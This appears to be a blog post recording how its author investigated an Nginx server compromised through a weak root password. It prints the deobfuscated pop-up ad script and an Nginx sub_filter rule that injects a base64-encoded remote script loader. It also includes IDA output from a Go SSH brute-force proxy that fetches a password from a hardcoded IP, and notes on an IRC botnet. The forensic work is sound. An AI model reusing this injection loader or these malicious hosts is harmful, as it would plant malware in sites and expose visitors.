banner
Fei_xiangShi

FXLOG

你在这里发现了我, 说明了什么呢?

Record of an Nginx Intrusion Incident

0x01 Cause#

When I opened PVE as usual to play Genshin Impact, I found that the default page of Nginx (1.18) had been injected with a JS, which was disguised as JQuery, very interesting.

image

JS Deobfuscation#

Looking at this JS, I found it was obfuscated, so I performed a deobfuscation.

image

image

The deobfuscated code is as follows:

(() => { 
    const config = {
        key: "13792427ab60437bafb55088e45e0e06",
        address: "https://bootscritp.com/lib/jquery/4.7.2/index.html",  
        imageUrl: "https://bootscritp.com/lib/jquery/4.7.2/1.gif", 
        jumpPercent: 100,   // Percentage control
        jumpCount: 1,       // Maximum number of pops per day
        debug: false        // Debug switch (true = force pop)
    };

    function createPopup() {
        if (document.getElementById("popup-container")) return;
        const html = `
        <div id="popup-container" 
             style="display:none;position:fixed;top:0;left:0;width:100%;height:100%;
                    background:rgba(0,0,0,0.6);z-index:999999;">
          <div id="popup-box" 
               style="position:absolute;top:50%;left:50%;transform:translate(-50%,-50%);
                      border-radius:12px;max-width:90%;background:transparent;">
            <div style="text-align:right;position:absolute;top:-35px;right:-5px;">
              <span id="popup-close" 
                    style="cursor:pointer;font-size:26px;font-weight:bold;color:#fff;
                           transition:color 0.3s;">&#10006;</span>
            </div>
            <div style="text-align:center;">
              <img id="popup-image" alt="Click to enter" 
                   style="cursor:pointer;width:90%;max-width:600px;border-radius:12px;">
            </div>
          </div>
        </div>`;
        document.body.insertAdjacentHTML("beforeend", html);
    }

    function showPopup() {
        createPopup();
        const popup = document.getElementById("popup-container");
        const box   = document.getElementById("popup-box");
        const img   = document.getElementById("popup-image");
        const closeBtn = document.getElementById("popup-close");

        if (popup) popup.style.display = "block";
        if (img) {
            img.src = config.imageUrl;
            img.addEventListener("click", () => window.location.href = config.address);
        }
        if (closeBtn) {
            closeBtn.addEventListener("click", () => popup.style.display = "none");
            closeBtn.addEventListener("mouseover", () => closeBtn.style.color = "red");
            closeBtn.addEventListener("mouseout", () => closeBtn.style.color = "#fff");
        }
        if (popup) popup.addEventListener("click", () => popup.style.display = "none");
        if (box) box.addEventListener("click", (e) => e.stopPropagation());
    }

    function conditionCheck() {
        if (config.debug) { showPopup(); return; }

        let data = {};
        try { data = JSON.parse(localStorage.getItem(config.key)) || {}; } catch {}
        const today = new Date().toISOString().split("T")[0];
        if (data.date !== today) data = { date: today, count: 0 };

        if (data.count >= config.jumpCount || Math.random() * 100 >= config.jumpPercent) return;

        // Only allow mainland China IP
        fetch("https://api.ip.sb/geoip")
            .then(r => r.json())
            .then(json => {
                console.log("GeoIP response:", json);
                if (json.country_code === "CN") {
                    data.count++;
                    localStorage.setItem(config.key, JSON.stringify(data));
                    showPopup();
                }
            })
            .catch(err => console.warn("GeoIP failed", err));
    }

    if (document.readyState === "loading") {
        document.addEventListener("DOMContentLoaded", conditionCheck);
    } else {
        conditionCheck();
    }
})();

Pornographic Ads#

It can be seen that this is not a script that triggers every time, but to satisfy everyone's curiosity, I will execute it immediately.

image

image

0x02 Location#

This is a server located in Ningbo provided by a domestic server provider, and the server has been registered under a certain company. It is very interesting that it can still be attacked under such strict conditions, so let's start checking from the victim Nginx.

root@server-rMGU1XbC:~# curl 127.0.0.1
<!DOCTYPE html>
<html>
<head>
<title>Welcome to nginx!</title>
<style>
    body {
        width: 35em;
        margin: 0 auto;
        font-family: Tahoma, Verdana, Arial, sans-serif;
    }
</style>
<script>document.cookie="hasVisited178a=1;Max-Age=86400;Path=/";(function(){var hm=document.createElement("script");hm.src=atob("aHR0cHM6Ly9ib290c2NyaXRwLmNvbS9saWIvanF1ZXJ5LzQuNy4yL2pxdWVyeS5taW4uanM=");var s=document.getElementsByTagName("script")[0];s.parentNode.insertBefore(hm,s);})();</script>
</head>
<body>
<h1>Welcome to nginx!</h1>
<p>If you see this page, the nginx web server is successfully installed and
working. Further configuration is required.</p>

<p>For online documentation and support please refer to
<a href="http://nginx.org/">nginx.org</a>.<br/>
Commercial support is available at
<a href="http://nginx.com/">nginx.com</a>.</p>

<p><em>Thank you for using nginx.</em></p>
</body>
</html>

After logging into the server and making a local request, I found that it was also polluted, so I started to check where it was attacked.

First, let's take a look at the Nginx configuration file.

cat /etc/nginx/nginx.conf

...
sub_filter_types text/html;
    sub_filter '</head>' '<script>document.cookie="hasVisited178a=1;Max-Age=86400;Path=/";(function(){var hm=document.createElement("script");hm.src=atob("aHR0cHM6Ly9ib290c2NyaXRwLmNvbS9saWIvanF1ZXJ5LzQuNy4yL2pxdWVyeS5taW4uanM=");var s=document.getElementsByTagName("script")[0];s.parentNode.insertBefore(hm,s);})();</script>
</head>';
    sub_filter_once off;
...

It can be seen that all web pages of Nginx have been added with a header.

root@server-rMGU1XbC:~# cat /usr/share/nginx/html/index.html 
<!DOCTYPE html>
<html>
<head>
<title>Welcome to nginx!</title>
<style>
    body {
        width: 35em;
        margin: 0 auto;
        font-family: Tahoma, Verdana, Arial, sans-serif;
    }
</style>
</head>
<body>
<h1>Welcome to nginx!</h1>
<p>If you see this page, the nginx web server is successfully installed and
working. Further configuration is required.</p>

<p>For online documentation and support please refer to
<a href="http://nginx.org/">nginx.org</a>.<br/>
Commercial support is available at
<a href="http://nginx.com/">nginx.com</a>.</p>

<p><em>Thank you for using nginx.</em></p>
</body>
</html>

The local Nginx homepage file has not been modified. Let's check if Nginx itself has been attacked.

root@server-rMGU1XbC:~# which nginx
/usr/sbin/nginx
root@server-rMGU1XbC:~# md5sum /usr/sbin/nginx 
1317754528e1c486b6f1e8b363062683  /usr/sbin/nginx

There is no problem, so who modified the Nginx configuration?

0x03 Investigation#

Let's take a look at lsof.

proxy-age 3906587            root    6u  IPv4 643527364      0t0  TCP server-rMGU1XbC:40482->auditbitcoin.supply:ssh (ESTABLISHED)
proxy-age 3906587            root    7u  IPv4 643523331      0t0  TCP server-rMGU1XbC:59370->vps-ca4bf331.vps.ovh.net:ssh (ESTABLISHED)
proxy-age 3906587            root    8u  IPv4 643527858      0t0  TCP server-rMGU1XbC:41792->server.pagesplus.nl:ssh (ESTABLISHED)
proxy-age 3906587            root    9u  IPv4 643486279      0t0  TCP server-rMGU1XbC:14106->au.ssdvps.xyz:ssh (ESTABLISHED)
proxy-age 3906587            root   10u  IPv4 643524301      0t0  TCP server-rMGU1XbC:19748->static.23.122.90.157.clients.your-server.de:ssh (ESTABLISHED)
proxy-age 3906587            root   11u  IPv4 643524645      0t0  TCP server-rMGU1XbC:58688->95.216.13.40:ssh (ESTABLISHED)

proxy-agent#

Let's check what this is by PID.

root@server-rMGU1XbC:~# sudo lsof -p 3906587
COMMAND       PID USER   FD      TYPE    DEVICE SIZE/OFF      NODE NAME
proxy-age 3906587 root  cwd       DIR      8,17     4096      1684 /tmp/.mjdjuxxcydy/k
proxy-age 3906587 root  rtd       DIR      8,17     4096         2 /
proxy-age 3906587 root  txt       REG      8,17  8587347      2571 /tmp/.mjdjuxxcydy/k/proxy-agent
proxy-age 3906587 root  mem       REG      8,17  2029592     15376 /usr/lib/x86_64-linux-gnu/libc-2.31.so
proxy-age 3906587 root  mem       REG      8,17   157224     15389 /usr/lib/x86_64-linux-gnu/libpthread-2.31.so
proxy-age 3906587 root  mem       REG      8,17   101352     15390 /usr/lib/x86_64-linux-gnu/libresolv-2.31.so
proxy-age 3906587 root  mem       REG      8,17   191504     15372 /usr/lib/x86_64-linux-gnu/ld-2.31.so
proxy-age 3906587 root    0r     FIFO      0,13      0t0 174659017 pipe
proxy-age 3906587 root    1w      CHR       1,3      0t0         6 /dev/null
proxy-age 3906587 root    2w      CHR       1,3      0t0         6 /dev/null
proxy-age 3906587 root    3w      CHR       1,3      0t0         6 /dev/null
proxy-age 3906587 root    4u  a_inode      0,14        0     11318 [eventpoll]
proxy-age 3906587 root    5u  a_inode      0,14        0     11318 [eventfd]

A very typical /tmp path, let's take a look.

root@server-rMGU1XbC:/tmp/newpop# ls -a /tmp
.           .XIM-unix     cc.2         newpop            sshbot                                                                             uv-5abec762cab0104e.lock
..          .font-unix    cc.3         nginx-test        systemd-private-8ad1e99f07844f46aa091036c4c902b8-ModemManager.service-hcplzi
.ICE-unix   .mjdjuxxcydy  envnew       nginx_cache       systemd-private-8ad1e99f07844f46aa091036c4c902b8-systemd-logind.service-FYj7gj
.Test-unix  aa.txt        envnew.tgz   nus               systemd-private-8ad1e99f07844f46aa091036c4c902b8-systemd-resolved.service-1knWwg
.X11-unix   cc.1          initial.log  snap-private-tmp  systemd-private-8ad1e99f07844f46aa091036c4c902b8-systemd-timesyncd.service-CEKp4h

root@server-rMGU1XbC:~# stat /tmp/.mjdjuxxcydy
  File: /tmp/.mjdjuxxcydy
  Size: 4096            Blocks: 8          IO Block: 4096   directory
Device: 811h/2065d      Inode: 1257        Links: 3
Access: (0755/drwxr-xr-x)  Uid: (    0/    root)   Gid: (    0/    root)
Access: 2025-09-11 18:52:26.599159469 +0800
Modify: 2025-07-18 23:11:32.969822573 +0800
Change: 2025-07-18 23:11:32.969822573 +0800
 Birth: -
root@server-rMGU1XbC:~# stat /tmp/sshbot
  File: /tmp/sshbot
  Size: 4096            Blocks: 8          IO Block: 4096   directory
Device: 811h/2065d      Inode: 2167        Links: 2
Access: (0755/drwxr-xr-x)  Uid: (    0/    root)   Gid: (    0/    root)
Access: 2025-09-11 18:52:26.595159432 +0800
Modify: 2025-07-01 18:23:21.451502461 +0800
Change: 2025-07-01 18:23:21.451502461 +0800
 Birth: -

The directory where the proxy-agent is located, .mjdjuxxcydy, along with newpop and sshbot, are all very suspicious. Let's randomly pull one to analyze locally.

First, I will upload it to Qihoo 360 for verification, and then analyze it slowly.

image

 file proxy-agent
proxy-agent: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, Go BuildID=o6eaCr6JBkZCyBoMHfJX/LYWJHnsdDphndSyRnfVW/YgvgIxWc08bxgG1gT0mk/XcdJH4nBZKd8zbsHni3G, with debug_info, not stripped

《with debug_info, not stripped》
Written in Go, and it still has debug information. Let's take a look.

 ldd proxy-agent
	linux-vdso.so.1 (0x00007fdb32bb8000)
	libresolv.so.2 => /usr/lib/libresolv.so.2 (0x00007fdb32b62000)
	libpthread.so.0 => /usr/lib/libpthread.so.0 (0x00007fdb32b5d000)
	libc.so.6 => /usr/lib/libc.so.6 (0x00007fdb32800000)
	/lib64/ld-linux-x86-64.so.2 => /usr/lib64/ld-linux-x86-64.so.2 (0x00007fdb32bba000)

There is no problem. Let's open it in IDA.

image

image

v87.str = (uint8 *)"http://147.182.224.216/gzip.exe";
v87.len = 31LL;
main_getPasswordFromURL(v87, *(string_0 *)&v0, v2, v3, v55);
v73.str = v87.str;
s = 31LL;
if ( v5 )
{
  *(_OWORD *)&v.array = v4;
  v.array = *(interface__0 **)(v5 + 8);
  v.len = v1;
  v88.str = (uint8 *)"Failed to fetch password: %v\n";
  v88.len = 29LL;
  v96.array = (interface__0 *)&v;
  v96.len = 1LL;
  log_Fatalf(v88, v96);
}
v98.str = (uint8 *)&byte_72937A;
v98.len = 3LL;
v81.str = (uint8 *)"ips.txt\x1B[1;33mFreeBSDUsage:\nfloat32float64UpgradeupgradeCONNECTarcfourssh-rsassh-dsssessionsshtypeTrailersocks5hHEADERSReferer flags= len=%d (conn) %v=%v,expiresrefererrefreshtrailerGODEBUGname %q:method:scheme:statushttp://chunkedCreatedIM UsedTuesdayJanuaryOctoberinvaliduintptrChanDir Value>ConvertforcegcallocmWcpuprofallocmRunknowngctraceIO waitrunningsyscallwaitingforevernetworkUNKNOWN:events, goid= s=nil\n (scan  MB in pacer: % CPU ( zombie, j0 = head = ,errno=panic:  nmsys= locks= dying= allocsrax    rbx    rcx    rdx    rdi    rsi    rbp    rsp    r8     r9     r10    r11    r12    r13    r14    r15    rip    rflags cs     fs     gs     Signal signal  m->g0= pad1=  pad2=  text= minpc= \tvalue= (scan)\ttypes : type 19531259765625nil keytls3desderivedInitialconnectlookup writetoSHA-224SHA-256SHA-384SHA-512Ed25519MD5-RSAserial:ExpiresSubjectcharsetavx512fos/execruntimeeae_prkanswers2.5.4.62.5.4.32.5.4.52.5.4.72.5.4.82.5.4.9amxtileamxint8amxbf16osxsavepass.txtSSH port%Domain%%domain%%DOMAIN%uname -adurationGoStringNO_PROXYno_proxyHTTP/1.1RSV1 setRSV2 setRSV3 setbad MASK3des-cbcpasswordhost keynistp256nistp384nistp521hijackedNO_ERRORPRIORITYSETTINGSLocation data=%q incr=%v ping=%qif-matchlocationhttp/1.1HTTP/2.0no-cacheContinueAcceptedConflictreadlinksendfilenil PoolThursdaySaturdayFebruaryNovemberDecember%!Month(scavengepollDesctraceBufdeadlockraceFinipanicnilcgocheckrunnable procid  is not  pointer, errno= packed=BAD RANK status unknown(trigger= npages= nalloc= nfreed=) errno=[signal  newval= mcount= bytes, \n-----\n\n stack=[ minLC=  maxpc= \tstack=[ minutes status= etypes 48828125strconv.parsing ParseInttlskyberCurveID(finishedexporternetedns0[::1]:53continue_gatewayshutdowninvalid address raw-readreadfromunixgramMD5+SHA1SHA3-224SHA3-256SHA3-384SHA3-512SHA1-RSADSA-SHA1x509sha1DNS nameReceivedif-rangeno anodeavx512bwavx512vlgo/typesnet/httpgo/buildClassANYQuestion2.5.4.102.5.4.112.5.4.17avx512cdavx512eravx512pfavx512dqpasswords%alldoms%lschlegelwebsocket";
v81.len = 7LL;
v82.str = (uint8 *)"File containing domain and IP pairs";
v82.len = 35LL;
flag__ptr_FlagSet_String(flag_CommandLine, v98, v81, v82, v6);
_r0.len = v7;
v98.str = (uint8 *)"passwords%alldoms%lschlegelwebsocket";
v98.len = 9LL;
v81.str = (uint8 *)"pass.txtSSH port%Domain%%domain%%DOMAIN%uname -adurationGoStringNO_PROXYno_proxyHTTP/1.1RSV1 setRSV2 setRSV3 setbad MASK3des-cbcpasswordhost keynistp256nistp384nistp521hijackedNO_ERRORPRIORITYSETTINGSLocation data=%q incr=%v ping=%qif-matchlocationhttp/1.1HTTP/2.0no-cacheContinueAcceptedConflictreadlinksendfilenil PoolThursdaySaturdayFebruaryNovemberDecember%!Month(scavengepollDesctraceBufdeadlockraceFinipanicnilcgocheckrunnable procid  is not  pointer, errno= packed=BAD RANK status unknown(trigger= npages= nalloc= nfreed=) errno=[signal  newval= mcount= bytes, \n-----\n\n stack=[ minLC=  maxpc= \tstack=[ minutes status= etypes 48828125strconv.parsing ParseInttlskyberCurveID(finishedexporternetedns0[::1]:53continue_gatewayshutdowninvalid address raw-readreadfromunixgramMD5+SHA1SHA3-224SHA3-256SHA3-384SHA3-512SHA1-RSADSA-SHA1x509sha1DNS nameReceivedif-rangeno anodeavx512bwavx512vlgo/typesnet/httpgo/buildClassANYQuestion2.5.4.102.5.4.112.5.4.17avx512cdavx512eravx512pfavx512dqpasswords%alldoms%lschlegelwebsocket";
v81.len = 8LL;
v83.str = (uint8 *)"File containing passwords";
v83.len = 25LL;
flag__ptr_FlagSet_String(flag_CommandLine, v98, v81, v83, v8);
_r0.array = v9;
v98.str = (uint8 *)&go_string__ptr_;
v98.len = 1LL;
v81.str = (uint8 *)&value;
v81.len = 2LL;
v84.str = (uint8 *)"SSH port%Domain%%domain%%DOMAIN%uname -adurationGoStringNO_PROXYno_proxyHTTP/1.1RSV1 setRSV2 setRSV3 setbad MASK3des-cbcpasswordhost keynistp256nistp384nistp521hijackedNO_ERRORPRIORITYSETTINGSLocation data=%q incr=%v ping=%qif-matchlocationhttp/1.1HTTP/2.0no-cacheContinueAcceptedConflictreadlinksendfilenil PoolThursdaySaturdayFebruaryNovemberDecember%!Month(scavengepollDesctraceBufdeadlockraceFinipanicnilcgocheckrunnable procid  is not  pointer, errno= packed=BAD RANK status unknown(trigger= npages= nalloc= nfreed=) errno=[signal  newval= mcount= bytes, \n-----\n\n stack=[ minLC=  maxpc= \tstack=[ minutes status= etypes 48828125strconv.parsing ParseInttlskyberCurveID(finishedexporternetedns0[::1]:53continue_gatewayshutdowninvalid address raw-readreadfromunixgramMD5+SHA1SHA3-224SHA3-256SHA3-384SHA3-512SHA1-RSADSA-SHA1x509sha1DNS nameReceivedif-rangeno anodeavx512bwavx512vlgo/typesnet/httpgo/buildClassANYQuestion2.5.4.102.5.4.112.5.4.17avx512cdavx512eravx512pfavx512dqpasswords%alldoms%lschlegelwebsocket";
v81.len = 8LL;
flag__ptr_FlagSet_String(flag_CommandLine, v98, v81, v84, v10);
v70 = v11;
v98.str = (uint8 *)&byte_7ACE40;
v98.len = 1LL;
v81.str = (uint8 *)&byte_72937D;
v81.len = 3LL;
v85.str = (uint8 *)"Timeout duration";
v85.len = 16LL;
flag__ptr_FlagSet_String(flag_CommandLine, v98, v81, v85, v12);
v69 = v13;
v98.str = (uint8 *)"serverport";
v98.len = 10LL;
v81.str = (uint8 *)"9595\x1B[0mroottrueuint:443httpnoneABRTALRMKILLPIPEQUITSEGVTERMexecunixreadSSH-Host&lt;&gt;idle1080DATAPINGPOSTEtag0x%xdateetagfromhostlinkvaryDategzip%x\r\nGoneopenstatsyncfileJuneJuly as hour in /etcboolint8chanfunccallkind on  != allgallpitabsbrkdead is LEAFbase of ) =  <==GOGC] = s + ,r2= pc=+Inf-Inf: p=cas1cas2cas3cas4cas5cas6 at \n\tm= sp= sp: lr: fp= gp= mp=) m=3125Atoiicmpigmpftpspop3smtpdial \r\t\nbindasn1Fromxn--ermssse3avx2bmi1bmi2timebitsNameTypecx16sse2%s:%s<nil>LinuxSunossvr04falsevaluefloat  -%sErrorhttpswrite&amp;&#34;&#39;:***@Rangerangeclose:path%s %q%s=%sHTTP/socksFoundlstatMarchAprilmonthLocalGreekint16int32int64uint8arrayslice and defersweeptestRtestWexecWhchanexecRschedsudogtimergscanmheaptracepanicsleep cnt=gcing MB,  got= ...\n max=scav  ptr ] = (trap:init  ms, fault tab= top=[...], fp:1562578125tls: Earlylinuxfilesimap2imap3imapspop3shostsparseSHA-1P-224P-256P-384P-521ECDSAutf-8%s*%dtext/bad nsse41sse42ssse3 (at Class...155%User%%user%Darwinnodorrstring\n    \tStringFormat[]byteBasic serveractiveclosedsocks5CANCELGOAWAYPADDEDCookieacceptallow";
v81.len = 4LL;
v86.str = (uint8 *)"Port for receiving data";
v86.len = 23LL;
flag__ptr_FlagSet_String(flag_CommandLine, v98, v81, v86, v14);
v68 = v15;
main_concurrency = 1000LL;
v98.str = (uint8 *)&go_itab__ptr_flag_intValue_comma_flag_Value;
v98.len = (int)&main_concurrency;
*(_QWORD *)v16 = &byte_7AE7D0;
*(_QWORD *)&v16[8] = 1LL;
*(_QWORD *)&v16[16] = "Concurrency level for SSH attempts";
*(_QWORD *)&v16[24] = 34LL;
flag__ptr_FlagSet_Var(flag_CommandLine, (flag_Value_0)v98, *(string_0 *)v16, *(string_0 *)&v16[16]);
if ( !os_Args.len )
  runtime_panicSliceB();
v17 = os_Args.len - 1;
*(_QWORD *)v16 = os_Args.cap - 1;
*(_QWORD *)&v16[8] = ((1 - os_Args.cap) >> 63) & 0x10;
v18 = (char *)os_Args.array + *(_QWORD *)&v16[8];
flag__ptr_FlagSet_Parse(flag_CommandLine, *(_slice_string_0 *)&v16[-16], *(error_0 *)&v16[8]);
v19 = *v69;
v20 = v69[1];
time_ParseDuration(*(string_0 *)(&v20 - 1), v21, *(error_0 *)v16);
elem = v24;
if ( v20 )
{
  *(_OWORD *)&v.array = v4;
  v.array = *(interface__0 **)(v20 + 8);
  v.len = v22;
  v89.str = (uint8 *)"Invalid timeout value: %v";
  v89.len = 25LL;
  p_v = &v;
  *(_QWORD *)v16 = 1LL;
  *(_QWORD *)&v16[8] = 1LL;
  log_Fatalf(v89, *(_slice_interface__0 *)&v16[-8]);
}
len = _r0.len;
v90 = *(string_0 *)_r0.len;
main_loadDomainIPs(
  *(string_0 *)_r0.len,
  *(_slice_main_domainIP *)&v16[-8],
  *(_slice_main_domainIP *)&v16[16],
  v56,
  v58);
v73.len = (int)v90.str;
v63 = v90.len;
if ( *(_QWORD *)v16 )
{
  *(_OWORD *)&v.array = v4;
  v.array = *(interface__0 **)(*(_QWORD *)v16 + 8LL);
  v.len = *(_QWORD *)&v16[8];
  v91.str = (uint8 *)"Failed to load domain and IP pairs from file: %vbufio: writer returned negative count from Write";
  v91.len = 48LL;
  v27 = &v;
  *(_QWORD *)v16 = 1LL;
  *(_QWORD *)&v16[8] = 1LL;
  log_Fatalf(v91, *(_slice_interface__0 *)&v16[-8]);
}
array = _r0.array;
v92 = *_r0.array;
main_loadPasswords(*_r0.array, *(_slice_string_0 *)&v16[-8], *(_slice_string_0 *)&v16[16], v57, v59);
str = v92.str;
v61 = v92.len;
if ( *(_QWORD *)v16 )
{
  *(_OWORD *)&v.array = v4;
  v.array = *(interface__0 **)(*(_QWORD *)v16 + 8LL);
  v.len = *(_QWORD *)&v16[8];
  v93.str = (uint8 *)"Failed to load passwords from file: %v";
  v93.len = 38LL;
  v30 = &v;
  *(_QWORD *)v16 = 1LL;
  *(_QWORD *)&v16[8] = 1LL;
  log_Fatalf(v93, *(_slice_interface__0 *)&v16[-8]);
}
v94.str = v73.str;
v94.len = s;
strings_TrimSpace(v94, *(string_0 *)&v16[-8]);
if ( main_defaultPassword.len != s || (runtime_memequal(), !v32) )
{
  v95.str = (uint8 *)"Incorrect password. Exiting...\n";
  v95.len = 31LL;
  v97.array = 0LL;
  *(_OWORD *)&v97.len = 0uLL;
  log_Fatalf(v95, v97);
}

After carefully examining each function, I found that this software is not the culprit behind the Nginx page being tampered with; it is merely a proxy software that uses our machine to attack other servers. We need to analyze further.

brute#

Entering the sshbot folder, I found an executable file named brute.

brute is used to brute-force server accounts and passwords, in conjunction with proxy-agent to attack other victims.

image

dockers#

Checking ps aux, I can see many dockers processes started during the summer. Although the running paths are displayed, I found that the files have already been deleted, leaving only core dumps.

root     3578741  0.0  0.1  15896  3828 ?        S    Jul17   5:09 /usr/sbin/dockers
root     3664316  0.0  0.1  15900  3836 ?        S    Jul17   0:31 /usr/sbin/dockers
root     3690959  0.0  0.2  16028  3968 ?        S    Jul18   4:58 /usr/sbin/dockers
root     3694008  0.0  0.1  16032  3904 ?        S    Jul18   5:01 /usr/sbin/dockers
root     3694116  0.0  0.1  15892  3816 ?        S    Jul18   4:54 /usr/sbin/dockers
root     3694272  0.0  0.1  16032  3840 ?        S    Jul18   4:56 /usr/sbin/dockers
root     3695142  0.0  0.1  15900  3824 ?        S    Jul18   5:06 /usr/sbin/dockers
root     3696764  0.0  0.1  15900  3840 ?        S    Jul18   4:54 /usr/sbin/dockers
root     3698274  0.0  0.1  16024  3868 ?        S    Jul18   4:57 /usr/sbin/dockers
root     3701017  0.0  0.1  15900  3836 ?        S    Jul18   4:59 /usr/sbin/dockers
root     3701045  0.0  0.1  15896  3832 ?        S    Jul18   5:05 /usr/sbin/dockers
root     3790827  0.0  0.2  15896  4212 ?        S    Jul18   4:58 /usr/sbin/dockers
root     3829224  0.0  0.2  15900  4160 ?        S    Jul19   5:00 /usr/sbin/dockers

Let's randomly grab one and perform a memory dump using gcore to obtain a core dump.

gcore -o ./dump 3829224

Let's take a look at it in IDA.

image

A Perl script, let's continue checking the strings.

image

PnP and IRC, it is undoubtedly a botnet. The dockers are probably used to control our parent server and to use us to control other compromised machines.

Let's check the communication IP of dockers using lsof to see what kind of compromised machines are involved.

image

It turns out to be in Switzerland.

0x04 The Truth Revealed#

Continuing to check ps aux, I saw a long-running sshd process, knowing that this Swiss IP 185.208.158.91 has been continuously connecting to our server. How arrogant, not even hiding itself.

root     3809994 57.6  0.2  16656  5564 ?        R    Aug20 18319:18 /usr/sbin/sshd -i
root@server-rMGU1XbC:/var/log# sudo netstat -natp | grep 3809994
tcp        0      0 110.xxx.98.xxx:39290     185.208.158.91:6667     ESTABLISHED 3809994/sshd -i

Let's try a full disk search for this IP that connected via ssh.

sudo grep -r "185.208.158.91" /etc /var /home

Found logs.

Sep 01 06:35:43 server-rMGU1XbC sshd[1074275]: Accepted password for root from 185.208.158.91 port 60788 ssh2
Sep 01 06:35:43 server-rMGU1XbC sshd[1074275]: pam_unix(sshd:session): session opened for user root by (uid=0)
Sep 01 06:35:43 server-rMGU1XbC systemd[1]: Started Session 24621 of user root.
Sep 01 06:35:43 server-rMGU1XbC systemd-logind[677]: New session 24621 of user root.
Sep 01 06:35:46 server-rMGU1XbC casaos[1403]: {"time":"2025-09-01T06:35:46.000736436+08:00","id":"","remote_ip":"127.0.0.1","host":"127.0.0.1:45671","method":"POST","uri":"/v1/notify/>
Sep 01 06:35:46 server-rMGU1XbC casaos[1403]: {"time":"2025-09-01T06:35:46.015785227+08:00","id":"","remote_ip":"127.0.0.1","host":"127.0.0.1:45671","method":"POST","uri":"/v1/notify/>
Sep 01 06:35:47 server-rMGU1XbC casaos[1403]: /bin/bash -c source /usr/share/casaos/shell/helper.sh ;GetNetCard 2
Sep 01 06:35:47 server-rMGU1XbC casaos[1403]: eth0
Sep 01 06:35:47 server-rMGU1XbC casaos[1403]: /bin/bash -c source /usr/share/casaos/shell/helper.sh ;CatNetCardState eth0
Sep 01 06:35:47 server-rMGU1XbC casaos[1403]: up
Sep 01 06:35:47 server-rMGU1XbC casaos-message-bus[1249]: {"time":"2025-09-01T06:35:47.033515811+08:00","id":"","remote_ip":"127.0.0.1","host":"127.0.0.1:33341","method":"POST","uri":>
Sep 01 06:35:47 server-rMGU1XbC sshd[1074275]: pam_unix(sshd:session): session closed for user root
Sep 01 06:35:47 server-rMGU1XbC systemd-logind[677]: Session 24621 logged out. Waiting for processes to exit.

《Accepted password》
There should be a defense program on the server to ban failed brute-force attacks, how could the password be known?
(Thinking)

Alert*

image

Indeed, even experienced operations can make such mistakes. Originally, when buying this server with classmates, I repeatedly reminded them not to set such simple passwords, but they were brushed off with reasons like complex passwords being hard to remember and token login being inconvenient, and it ended up unresolved.

I thought it was due to some outdated software being found with a CVE, and I blamed Ubuntu a bit. It seems that social engineering > technology.

Now the urgent task is to reinstall the system, change the password, and then write a blog to warn myself.

0x05 Epilogue#

Who installed a NAS on a server with only 20 GB? I don't know how uncomfortable it is to use. Without partitioning user data, now reinstalling the system means all data is gone.

Fake cron and newpop#

While cleaning the system, I found another virus.

root@server-rMGU1XbC:~/volatility# ps aux | grep cron
root         632  0.0  0.1   8540  2552 ?        Ss   Apr14   0:19 /usr/sbin/cron -f
root      293584 57.8  0.2  16532  4876 ?        R    Aug26   14023:41 /usr/sbin/cron
root     2451024  0.0  0.1   8436  2460 pts/4    S+   22:33   0:00 grep --color=auto cron
root@server-rMGU1XbC:~/volatility# lsof -p 293584
COMMAND      PID USER   FD   TYPE    DEVICE SIZE/OFF      NODE NAME
/usr/sbin 293584 root  cwd    DIR      8,17        0      2374 /tmp/newpop (deleted)
/usr/sbin 293584 root  rtd    DIR      8,17     4096         2 /
/usr/sbin 293584 root  txt    REG      8,17  3478464      2113 /usr/bin/perl
/usr/sbin 293584 root  mem    REG      8,17   101352     15390 /usr/lib/x86_64-linux-gnu/libresolv-2.31.so
/usr/sbin 293584 root  mem    REG      8,17    27112     15383 /usr/lib/x86_64-linux-gnu/libnss_dns-2.31.so
/usr/sbin 293584 root  mem    REG      8,17    51856     15384 /usr/lib/x86_64-linux-gnu/libnss_files-2.31.so
/usr/sbin 293584 root  mem    REG      8,17    23152     72436 /usr/lib/x86_64-linux-gnu/perl/5.30.0/auto/IO/IO.so
/usr/sbin 293584 root  mem    REG      8,17    47832     72450 /usr/lib/x86_64-linux-gnu/perl/5.30.0/auto/Socket/Socket.so
/usr/sbin 293584 root  mem    REG      8,17       62     15152 /usr/lib/locale/C.UTF-8/LC_NAME
/usr/sbin 293584 root  mem    REG      8,17       47     15155 /usr/lib/locale/C.UTF-8/LC_TELEPHONE
/usr/sbin 293584 root  mem    REG      8,17       34     15154 /usr/lib/locale/C.UTF-8/LC_PAPER
/usr/sbin 293584 root  mem    REG      8,17       23     15149 /usr/lib/locale/C.UTF-8/LC_MEASUREMENT
/usr/sbin 293584 root  mem    REG      8,17      252     15148 /usr/lib/locale/C.UTF-8/LC_IDENTIFICATION
/usr/sbin 293584 root  mem    REG      8,17      131     15145 /usr/lib/locale/C.UTF-8/LC_ADDRESS
/usr/sbin 293584 root  mem    REG      8,17  1518110     15146 /usr/lib/locale/C.UTF-8/LC_COLLATE
/usr/sbin 293584 root  mem    REG      8,17   201272     15147 /usr/lib/locale/C.UTF-8/LC_CTYPE
/usr/sbin 293584 root  mem    REG      8,17  3035952     11819 /usr/lib/locale/locale-archive
/usr/sbin 293584 root  mem    REG      8,17   202760      3462 /usr/lib/x86_64-linux-gnu/libcrypt.so.1.1.0
/usr/sbin 293584 root  mem    REG      8,17  2029592     15376 /usr/lib/x86_64-linux-gnu/libc-2.31.so
/usr/sbin 293584 root  mem    REG      8,17   157224     15389 /usr/lib/x86_64-linux-gnu/libpthread-2.31.so
/usr/sbin 293584 root  mem    REG      8,17  1369384     15378 /usr/lib/x86_64-linux-gnu/libm-2.31.so
/usr/sbin 293584 root  mem    REG      8,17    18848     15377 /usr/lib/x86_64-linux-gnu/libdl-2.31.so
/usr/sbin 293584 root  mem    REG      8,17      270     15151 /usr/lib/locale/C.UTF-8/LC_MONETARY
/usr/sbin 293584 root  mem    REG      8,17       48     15150 /usr/lib/locale/C.UTF-8/LC_MESSAGES/SYS_LC_MESSAGES
/usr/sbin 293584 root  mem    REG      8,17     3360     15156 /usr/lib/locale/C.UTF-8/LC_TIME
/usr/sbin 293584 root  mem    REG      8,17  27002     15643 /usr/lib/x86_64-linux-gnu/gconv/gconv-modules.cache
/usr/sbin 293584 root  mem    REG      8,17   191504     15372 /usr/lib/x86_64-linux-gnu/ld-2.31.so
